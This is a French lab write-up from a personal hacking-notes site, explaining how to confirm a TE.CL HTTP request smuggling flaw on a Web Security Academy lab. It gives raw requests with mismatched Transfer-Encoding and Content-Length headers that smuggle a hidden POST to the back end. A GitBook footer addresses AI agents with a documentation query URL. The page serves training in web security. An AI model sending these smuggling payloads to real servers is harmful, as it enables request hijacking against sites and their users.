> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/request-smuggling/confirmation-of-a-te-cl-vulnerability-by-differentialcls-responses.md).

# Confirmation d'une vulnérabilité TE.CL par réponses différentielles

### HTTP Request Smuggling, Confirmation d'une vulnérabilité TE.CL via des réponses différentielles

Le **front-end** le serveur accepte l'encodage chunked, tandis que le **back-end** ne le prend pas en charge. / L'objectif est d'injecter une requête masquée vers le serveur interne, puis d'envoyer une requête à **/** pour provoquer une réponse **404 Not Found**, confirmant ainsi la désynchronisation.

Bien que l'application autorise l'utilisation de HTTP/2, la technique exploitable repose exclusivement sur **HTTP/1**des comportements propres à ce protocole, ce qui nécessite un changement manuel de protocole dans Burp Repeater.

#### **Principe du TE.CL**

Pour tester la présence d'une vulnérabilité **TE.CL**, les champs liés à la longueur sont manipulés. / En définissant volontairement un **Content-Length supérieur** à la taille réelle du corps, on provoque un décalage interprété différemment par les deux serveurs. / Par exemple, un corps chunké de seulement 13 octets peut être déclaré comme suit :

```http
Content-Length: 15

3
abc
0


```

Cela suffit à provoquer une désynchronisation.

<figure><img src="/files/234ce8d71f3c95b645a29e62397e63b54cf504e2" alt=""><figcaption></figcaption></figure>

#### **Encodage hexadécimal des chunks**

La taille du fragment suivant doit être calculée en hexadécimal :

```http
POST /error HTTP/1.1
Test: A
```

<figure><img src="/files/ae66a6fe5f47418dc53f2f79817878c81ffe0c10" alt=""><figcaption></figcaption></figure>

Une première tentative consiste à n'envoyer que la taille du chunk (4 octets) :

```http
POST / HTTP/1.1
Host: 0a69009304fd3c94803ed515004500a5.web-security-academy.net
Transfer-Encoding: chunked
Content-Length: 4

1d
POST /error HTTP/1.1
Test: A
0


```

Cependant, cette version n'est pas traitée comme deux requêtes distinctes par les serveurs, ce qui empêche son bon fonctionnement.

Pour obtenir un comportement fiable, le back-end doit interpréter la requête injectée comme une requête HTTP valide. / Le champ **Content-Length** est « gonflé » lors de l'envoi d'un chunk plus volumineux :

```http
POST / HTTP/1.1
Host: 0a69009304fd3c94803ed515004500a5.web-security-academy.net
Transfer-Encoding: chunked
Content-Length: 4

38
POST /error HTTP/1.1
Content-Length: 20

testing=test
0


```

En envoyant cette requête **à deux reprises**, une désynchronisation se produit et l'attaque fonctionne comme prévu.

<figure><img src="/files/48c37d445f79006ccc5aad44eff7d9664638d485" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/request-smuggling/confirmation-of-a-te-cl-vulnerability-by-differentialcls-responses.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
